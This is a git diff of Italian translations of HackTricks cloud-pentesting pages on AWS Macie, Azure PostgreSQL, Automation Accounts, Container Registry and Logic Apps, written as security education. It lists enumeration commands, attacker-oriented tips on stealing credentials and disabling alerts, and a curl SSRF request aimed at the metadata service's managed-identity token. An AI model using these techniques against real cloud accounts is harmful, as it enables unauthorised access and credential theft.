mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-11 20:45:21 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-services/aws-macie-en
This commit is contained in:
@@ -1,48 +1,142 @@
|
||||
# Amazon Macie
|
||||
|
||||
## Introduzione
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon Macie è un servizio di sicurezza dei dati che scopre dati sensibili utilizzando l'apprendimento automatico e il riconoscimento di modelli, fornisce visibilità sui rischi per la sicurezza dei dati e consente una protezione automatizzata contro tali rischi.
|
||||
## Macie
|
||||
|
||||
## Elencare i Risultati con la Console AWS
|
||||
Amazon Macie si distingue come un servizio progettato per **rilevare, classificare e identificare automaticamente i dati** all'interno di un account AWS. Sfrutta **l'apprendimento automatico** per monitorare e analizzare continuamente i dati, concentrandosi principalmente sul rilevamento e sull'allerta contro attività insolite o sospette esaminando i dati degli **eventi di cloud trail** e i modelli di comportamento degli utenti.
|
||||
|
||||
Dopo aver scansionato un bucket S3 specifico per segreti e dati sensibili, verranno generati risultati e visualizzati nella console. Gli utenti autorizzati con permessi sufficienti possono visualizzare e elencare questi risultati per ciascun lavoro.
|
||||
Caratteristiche principali di Amazon Macie:
|
||||
|
||||
1. **Revisione attiva dei dati**: Utilizza l'apprendimento automatico per rivedere attivamente i dati mentre si verificano varie azioni all'interno dell'account AWS.
|
||||
2. **Rilevamento delle anomalie**: Identifica attività irregolari o modelli di accesso, generando avvisi per mitigare i potenziali rischi di esposizione dei dati.
|
||||
3. **Monitoraggio continuo**: Monitora e rileva automaticamente nuovi dati in Amazon S3, impiegando l'apprendimento automatico e l'intelligenza artificiale per adattarsi ai modelli di accesso ai dati nel tempo.
|
||||
4. **Classificazione dei dati con NLP**: Utilizza l'elaborazione del linguaggio naturale (NLP) per classificare e interpretare diversi tipi di dati, assegnando punteggi di rischio per dare priorità ai risultati.
|
||||
5. **Monitoraggio della sicurezza**: Identifica dati sensibili per la sicurezza, inclusi chiavi API, chiavi segrete e informazioni personali, aiutando a prevenire perdite di dati.
|
||||
|
||||
Amazon Macie è un **servizio regionale** e richiede il ruolo IAM 'AWSMacieServiceCustomerSetupRole' e un AWS CloudTrail abilitato per funzionare.
|
||||
|
||||
### Sistema di Allerta
|
||||
|
||||
Macie categorizza gli avvisi in categorie predefinite come:
|
||||
|
||||
- Accesso anonimizzato
|
||||
- Conformità dei dati
|
||||
- Perdita di credenziali
|
||||
- Escalation dei privilegi
|
||||
- Ransomware
|
||||
- Accesso sospetto, ecc.
|
||||
|
||||
Questi avvisi forniscono descrizioni dettagliate e suddivisioni dei risultati per una risposta e risoluzione efficaci.
|
||||
|
||||
### Caratteristiche del Dashboard
|
||||
|
||||
Il dashboard categorizza i dati in varie sezioni, tra cui:
|
||||
|
||||
- Oggetti S3 (per intervallo di tempo, ACL, PII)
|
||||
- Eventi/utenti CloudTrail ad alto rischio
|
||||
- Località delle attività
|
||||
- Tipi di identità utente CloudTrail, e altro ancora.
|
||||
|
||||
### Categorizzazione degli Utenti
|
||||
|
||||
Gli utenti sono classificati in livelli in base al livello di rischio delle loro chiamate API:
|
||||
|
||||
- **Platino**: Chiamate API ad alto rischio, spesso con privilegi di amministratore.
|
||||
- **Oro**: Chiamate API relative all'infrastruttura.
|
||||
- **Argento**: Chiamate API a rischio medio.
|
||||
- **Bronzo**: Chiamate API a basso rischio.
|
||||
|
||||
### Tipi di Identità
|
||||
|
||||
I tipi di identità includono Root, utente IAM, Ruolo Assunto, Utente Federato, Account AWS e Servizio AWS, indicando la fonte delle richieste.
|
||||
|
||||
### Classificazione dei Dati
|
||||
|
||||
La classificazione dei dati comprende:
|
||||
|
||||
- Tipo di Contenuto: Basato sul tipo di contenuto rilevato.
|
||||
- Estensione del File: Basato sull'estensione del file.
|
||||
- Tema: Categorizzato per parole chiave all'interno dei file.
|
||||
- Regex: Categorizzato in base a specifici modelli regex.
|
||||
|
||||
Il rischio più alto tra queste categorie determina il livello di rischio finale del file.
|
||||
|
||||
### Ricerca e Analisi
|
||||
|
||||
La funzione di ricerca di Amazon Macie consente query personalizzate su tutti i dati di Macie per un'analisi approfondita. I filtri includono Dati CloudTrail, proprietà del Bucket S3 e Oggetti S3. Inoltre, supporta l'invito di altri account a condividere Amazon Macie, facilitando la gestione collaborativa dei dati e il monitoraggio della sicurezza.
|
||||
|
||||
## Elenco dei Risultati con la Console AWS
|
||||
|
||||
Dopo aver scansionato un determinato bucket S3 per segreti e dati sensibili, verranno generati risultati e visualizzati nella console. Gli utenti autorizzati con permessi sufficienti possono visualizzare e elencare questi risultati per ciascun lavoro.
|
||||
|
||||
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
|
||||
|
||||
|
||||
## Rivelare Segreti
|
||||
## Rivelazione del Segreto
|
||||
|
||||
Amazon Macie fornisce una funzionalità che visualizza i segreti rilevati in formato testo chiaro. Questa funzionalità aiuta nell'identificazione dei dati compromessi. Tuttavia, visualizzare i segreti in testo chiaro non è generalmente considerato una buona pratica a causa di preoccupazioni di sicurezza, poiché potrebbe potenzialmente esporre informazioni sensibili.
|
||||
Amazon Macie fornisce una funzione che visualizza i segreti rilevati in formato testo chiaro. Questa funzionalità aiuta nell'identificazione dei dati compromessi. Tuttavia, visualizzare i segreti in testo chiaro non è generalmente considerata una buona pratica a causa di preoccupazioni di sicurezza, poiché potrebbe potenzialmente esporre informazioni sensibili.
|
||||
|
||||
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
|
||||
|
||||
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
|
||||
|
||||
## Enumerazione
|
||||
### Enumerazione
|
||||
```bash
|
||||
# List and describe classification jobs
|
||||
aws macie2 list-classification-jobs --region eu-west-1
|
||||
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this from the admin account)
|
||||
aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 describe-classification-job --job-id <Job_ID>
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID>
|
||||
|
||||
# Retrieve account details and statistics
|
||||
aws macie2 get-macie-session --region eu-west-1
|
||||
aws macie2 get-usage-statistics --region eu-west-1
|
||||
|
||||
# List and manage Macie members (for organizations)
|
||||
aws macie2 list-members --region eu-west-1
|
||||
|
||||
# List findings and get detailed information about specific findings
|
||||
aws macie2 list-findings --region eu-west-1
|
||||
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
|
||||
|
||||
# Manage custom data identifiers
|
||||
aws macie2 list-custom-data-identifiers --region eu-west-1
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
|
||||
|
||||
# List and detail findings filters
|
||||
aws macie2 list-findings-filters --region eu-west-1
|
||||
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
|
||||
|
||||
aws macie2 get-macie-session
|
||||
aws macie2 get-usage-statistic
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-macie-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> Dal punto di vista di un attaccante, questo servizio non è progettato per rilevare l'attaccante, ma per rilevare informazioni sensibili nei file memorizzati. Pertanto, questo servizio potrebbe **aiutare un attaccante a trovare informazioni sensibili** all'interno dei bucket.\
|
||||
> Tuttavia, forse un attaccante potrebbe anche essere interessato a interromperlo per impedire alla vittima di ricevere avvisi e rubare più facilmente quelle informazioni.
|
||||
|
||||
TODO: PRs are welcome!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -9,6 +9,16 @@ Per ulteriori informazioni su PostgreSQL Database controlla:
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### Usa l'estensione pg_azure_storage per accedere agli account di Storage
|
||||
|
||||
È possibile utilizzare l'estensione **`pg_azure_storage` per accedere agli account di Azure Storage** da un server PostgreSQL. Questo utilizzerà i permessi dell'identità gestita assegnata al server per accedere all'account di storage.
|
||||
|
||||
Per ulteriori informazioni controlla questa tecnica spiegata nella sezione sull'escalation dei privilegi:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
Con questo permesso, puoi creare nuovi database all'interno di un'istanza di Postgres Flexible Server su Azure. Anche se questa azione di per sé non modifica le risorse esistenti, la creazione eccessiva o non autorizzata di database potrebbe portare a un consumo di risorse o a un potenziale uso improprio del server.
|
||||
@@ -18,15 +28,6 @@ az postgres flexible-server db create \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
Con questo permesso, puoi avviare la creazione di backup per un'istanza di Postgres Flexible Server su Azure. Questo consente agli utenti di generare backup su richiesta, che possono essere utili per preservare i dati in momenti specifici.
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
Con questo permesso, puoi configurare o aggiornare le impostazioni di Advanced Threat Protection (ATP) per un'istanza di Postgres Flexible Server su Azure. Questo consente di abilitare o disabilitare le funzionalità di sicurezza progettate per rilevare e rispondere ad attività anomale e potenziali minacce.
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Gli Azure Automation Accounts sono servizi basati sul cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud.
|
||||
Gli Azure Automation Accounts sono servizi basati su cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud.
|
||||
|
||||
### Impostazioni
|
||||
|
||||
@@ -44,7 +44,7 @@ Quando la sincronizzazione è abilitata, nel **repository Github viene creato un
|
||||
|
||||
Nota che questi webhook **non saranno visibili** quando si elencano i webhook nei runbooks associati al repository Github. Inoltre, nota che **non è possibile cambiare l'URL del repository** di un controllo del codice sorgente una volta creato.
|
||||
|
||||
Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita a un'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita utente all'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
### Ambienti di esecuzione
|
||||
|
||||
@@ -61,16 +61,16 @@ Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di qu
|
||||
|
||||
### Gruppi di lavoratori ibridi
|
||||
|
||||
In Azure Automation, l'ambiente di esecuzione predefinito per i runbook è il **Azure Sandbox**, una piattaforma basata sul cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbook di essere eseguiti direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure.
|
||||
In Azure Automation, l'ambiente di esecuzione predefinito per i runbooks è il **Azure Sandbox**, una piattaforma basata su cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbooks di eseguire direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure.
|
||||
|
||||
Quando viene creato un gruppo di lavoratori ibridi, è necessario indicare le **credenziali** da utilizzare. Ci sono 2 opzioni:
|
||||
|
||||
- **Credenziali predefinite**: Non è necessario fornire le credenziali e i runbook verranno eseguiti all'interno delle VM come **Sistema**.
|
||||
- **Credenziali specifiche**: È necessario fornire il nome dell'oggetto credenziali all'interno dell'account di automazione, che verrà utilizzato per eseguire i **runbook all'interno delle VM**. Pertanto, in questo caso, potrebbe essere possibile **rubare credenziali valide** per le VM.
|
||||
- **Credenziali predefinite**: Non è necessario fornire le credenziali e i runbooks verranno eseguiti all'interno delle VM come **Sistema**.
|
||||
- **Credenziali specifiche**: È necessario fornire il nome dell'oggetto credenziali all'interno dell'account di automazione, che verrà utilizzato per eseguire i **runbooks all'interno delle VM**. Pertanto, in questo caso, potrebbe essere possibile **rubare credenziali valide** per le VM.
|
||||
|
||||
Pertanto, se puoi scegliere di eseguire un **Runbook** in un **Lavoratore Ibrido**, eseguirai **comandi arbitrari** all'interno di una macchina esterna come **Sistema** (ottima tecnica di pivot).
|
||||
|
||||
Inoltre, se il lavoratore ibrido è in esecuzione in Azure con altre identità gestite collegate, il runbook sarà in grado di accedere all'**identità gestita del runbook e a tutte le identità gestite della VM dal servizio di metadata**.
|
||||
Inoltre, se il lavoratore ibrido è in esecuzione in Azure con altre Identità Gestite collegate, il runbook sarà in grado di accedere all'**identità gestita del runbook e a tutte le identità gestite della VM dal servizio di metadata**.
|
||||
|
||||
> [!TIP]
|
||||
> Ricorda che il **servizio di metadata** ha un URL diverso (**`http://169.254.169.254`**) rispetto al servizio da cui ottenere il token delle identità gestite dell'account di automazione (**`IDENTITY_ENDPOINT`**).
|
||||
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistenza
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-automation-accounts-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Azure Container Registry (ACR) è un registro privato e sicuro che ti consente di **memorizzare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo flussi di lavoro automatizzati per la creazione e il deployment su larga scala. Con funzionalità come la geo-replica e la scansione delle vulnerabilità, ACR aiuta a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate.
|
||||
Azure Container Registry (ACR) è un registro privato e sicuro che consente di **memorizzare, gestire e accedere alle immagini dei container nel cloud Azure**. Si integra perfettamente con diversi servizi Azure, fornendo flussi di lavoro automatizzati per la creazione e il deployment su larga scala. Con funzionalità come la geo-replicazione e la scansione delle vulnerabilità, ACR aiuta a garantire sicurezza e conformità di livello enterprise per le applicazioni containerizzate.
|
||||
|
||||
### Permessi
|
||||
|
||||
@@ -31,7 +31,7 @@ Ci sono 4 modi per autenticarsi a un ACR:
|
||||
|
||||
- **Con Entra ID**: Questo è il **metodo predefinito** per autenticarsi a un ACR. Utilizza il comando **`az acr login`** per autenticarsi all'ACR. Questo comando **memorizzerà le credenziali** nel file **`~/.docker/config.json`**. Inoltre, se stai eseguendo questo comando da un ambiente senza accesso a un socket docker come in una **cloud shell**, è possibile utilizzare il flag **`--expose-token`** per ottenere il **token** per autenticarsi all'ACR. Poi, per autenticarti, devi usare come nome utente `00000000-0000-0000-0000-000000000000` come: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Con un account admin**: L'utente admin è disabilitato per impostazione predefinita, ma può essere abilitato e poi sarà possibile accedere al registro con il **nome utente** e la **password** dell'account admin con pieni permessi sul registro. Questo è ancora supportato perché alcuni servizi Azure lo utilizzano. Nota che **2 password** vengono create per questo utente e entrambe sono valide. Puoi abilitarlo con `az acr update -n <acrName> --admin-enabled true`. Nota che il nome utente è solitamente il nome del registro (e non `admin`).
|
||||
- **Con un token**: È possibile creare un **token** con una **mappa di scope specifica** (permessi) per accedere al registro. Poi, è possibile utilizzare questo nome di token come nome utente e alcune delle password generate per autenticarsi al registro con `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Con un token**: È possibile creare un **token** con una **specifica `scope map`** (permessi) per accedere al registro. Poi, è possibile utilizzare il nome del token come nome utente e una delle password generate per autenticarsi al registro con `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **Con un Service Principal**: È possibile creare un **service principal** e assegnare un ruolo come **`AcrPull`** per scaricare immagini. Poi, sarà possibile **accedere al registro** utilizzando l'appId SP come nome utente e un segreto generato come password.
|
||||
|
||||
Esempio di script dalla [documentazione](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) per generare un SP con accesso su un registro:
|
||||
@@ -63,7 +63,7 @@ Questo ti consente di **scansionare le immagini** nel registro per **vulnerabili
|
||||
|
||||
### Soft-delete
|
||||
|
||||
La funzione di **soft-delete** consente di **recuperare un registro eliminato** entro il numero di giorni indicato. Questa funzione è **disabilitata per impostazione predefinita**.
|
||||
La funzione di **soft-delete** ti consente di **recuperare un registro eliminato** entro il numero di giorni indicato. Questa funzione è **disabilitata per impostazione predefinita**.
|
||||
|
||||
### Webhook
|
||||
|
||||
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Accesso non autenticato
|
||||
|
||||
{{#ref}}
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalation dei privilegi e Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@@ -4,99 +4,175 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Azure Logic Apps è un servizio basato su cloud fornito da Microsoft Azure che consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati tra diverse piattaforme.
|
||||
Azure Logic Apps consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati su diverse piattaforme.
|
||||
|
||||
Logic Apps fornisce un designer visivo per creare flussi di lavoro con una **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi, come Office 365, Dynamics CRM, Salesforce e molti altri. Puoi anche creare connettori personalizzati per le tue esigenze specifiche.
|
||||
Logic Apps fornisce un **designer visivo** per creare flussi di lavoro con un **ampia gamma di connettori predefiniti**, che facilita la connessione e l'interazione con vari servizi:
|
||||
|
||||
Quando crei un Logic App, devi creare o collegare un account di archiviazione esterno che memorizza lo stato del flusso di lavoro, la cronologia delle esecuzioni e gli artefatti. Questo storage può essere configurato con impostazioni diagnostiche per il monitoraggio e può essere protetto con restrizioni di accesso alla rete o integrato in una rete virtuale per controllare il traffico in entrata e in uscita.
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### Esempi
|
||||
|
||||
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
|
||||
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come modifiche in un account di archiviazione Azure, consentendo un'elaborazione dinamica dei dati.
|
||||
|
||||
### Visualizza un LogicAPP
|
||||
|
||||
È possibile visualizzare un LogicApp con grafica:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
o controllare il codice nella sezione "**Visualizzazione codice Logic app**".
|
||||
|
||||
### Protezione SSRF
|
||||
|
||||
Anche se trovi il **Logic App vulnerabile a SSRF**, non sarai in grado di accedere alle credenziali dai metadati poiché Logic Apps non lo consente.
|
||||
|
||||
Ad esempio, qualcosa del genere non restituirà il token:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Opzioni di hosting
|
||||
|
||||
Ci sono diverse opzioni di hosting:
|
||||
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti. Questo distribuisce un "Single Workflow".
|
||||
- **Multi-tenant**: Questo fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti. Questo è ciò che chiameremo un "Single Workflow".
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: risorse di calcolo dedicate con integrazione VNET per il networking e addebiti per ogni istanza del piano di servizio workflow. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
|
||||
- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente.
|
||||
- **Hybrid** progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA). Si basa su un Container App Connected Environment.
|
||||
- **Workflow Service Plan**: Questo fornisce risorse di calcolo dedicate con integrazione VNET per il networking e addebita per ogni istanza del piano di servizio del flusso di lavoro. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
|
||||
- **App Service Environment V3:** Questo fornisce risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente.
|
||||
- **Hybrid:** Questo è progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA). Si basa su un Container App Connected Environment.
|
||||
|
||||
### Caratteristiche principali
|
||||
- **Storage**: Le Logic Apps richiedono un account Azure Storage esterno per memorizzare lo stato del workflow, la cronologia delle esecuzioni… e devono trovarsi nello stesso gruppo di risorse della Logic App.
|
||||
- **Networking & Sicurezza**: Le Logic Apps possono essere configurate con accesso pubblico o privato. Per impostazione predefinita, l'app è aperta a Internet ma può essere integrata con una Azure Virtual Network per una connettività isolata.
|
||||
- **Application Insights**: La gestione delle prestazioni delle applicazioni (APM) tramite Azure Monitor Application Insights può essere abilitata per monitorare le prestazioni, rilevare anomalie e fornire analisi.
|
||||
- **Controllo degli accessi**: Le Logic Apps supportano le identità gestite dal sistema e le identità gestite dall'utente.
|
||||
## Flussi di lavoro "Single" / Piano di consumo
|
||||
|
||||
### "Single" Workflows
|
||||
Un **flusso di lavoro** è una sequenza strutturata di passaggi o attività automatizzate che eseguono un processo o obiettivo specifico. Definisce come diverse azioni, condizioni e decisioni interagiscono per raggiungere un risultato desiderato, semplificando le operazioni e riducendo lo sforzo manuale.
|
||||
|
||||
Un **workflow** è una sequenza strutturata di passaggi o attività automatizzate che eseguono un processo o obiettivo specifico. Definisce come diverse azioni, condizioni e decisioni interagiscono per raggiungere un risultato desiderato, semplificando le operazioni e riducendo lo sforzo manuale. I workflow possono integrare più sistemi, attivare eventi e regole, garantendo coerenza ed efficienza nei processi.
|
||||
> [!TIP]
|
||||
> Il piano di consumo consente **di creare un singolo flusso di lavoro senza la necessità di una Logic App** stessa.
|
||||
|
||||
Azure Logic Apps offre la funzionalità di **creare un singolo workflow senza la necessità di una Logic App** stessa.
|
||||
### Attivatori e Azioni
|
||||
|
||||
Ogni workflow ha diversi **triggers**. Questi triggers sono i passaggi che il workflow segue. Ogni trigger ha i propri parametri che possono variare a seconda del tipo di trigger:
|
||||
- Nome della connessione
|
||||
- **Tipo di autenticazione** che può essere, Access Key, Microsoft Entra ID, autenticazione del servizio integrato e identità gestita delle Logic Apps.
|
||||
Gli attivatori del flusso di lavoro indicano **quando il flusso di lavoro dovrebbe iniziare**. Gli attivatori possono essere un endpoint HTTP, un programma o decine di eventi diversi da Azure o anche da app esterne.
|
||||
|
||||
I triggers hanno anche varie impostazioni:
|
||||
- Validazione dello schema: Garantisce che i dati in arrivo seguano una struttura predefinita.
|
||||
- Controllo della concorrenza: Limita il numero di esecuzioni parallele.
|
||||
- Condizioni del trigger: condizioni che devono essere soddisfatte prima che il trigger venga attivato.
|
||||
- Networking: Configura la dimensione dei chunk per il trasferimento dei dati e consente di sopprimere le intestazioni del workflow nelle risposte.
|
||||
- **Sicurezza**: Abilita **Input/Output Sicuri per nascondere** dati sensibili nei log e nelle uscite.
|
||||
Ogni flusso di lavoro ha diverse **azioni**. Queste azioni sono i passaggi che il flusso di lavoro segue. A seconda dell'azione, saranno disponibili diversi parametri per configurarla, come:
|
||||
|
||||
**Impostazioni & Connessioni API:**
|
||||
- **Nome della connessione**: Connessione da utilizzare con cui l'azione interagirà.
|
||||
- **Tipo di autenticazione:** Le diverse opzioni sono Access Key, Microsoft Entra ID, autenticazione del servizio integrato e identità gestita di Logic Apps.
|
||||
- Da una prospettiva di sola lettura, i dati di **autenticazione** sono sempre interessanti poiché potrebbero contenere informazioni sensibili.
|
||||
- Da una prospettiva di scrittura, i dati di **autenticazione** sono sempre interessanti poiché potrebbero consentire di utilizzare i permessi delle identità gestite assegnate.
|
||||
- ...
|
||||
|
||||
Un workflow ha diverse impostazioni come:
|
||||
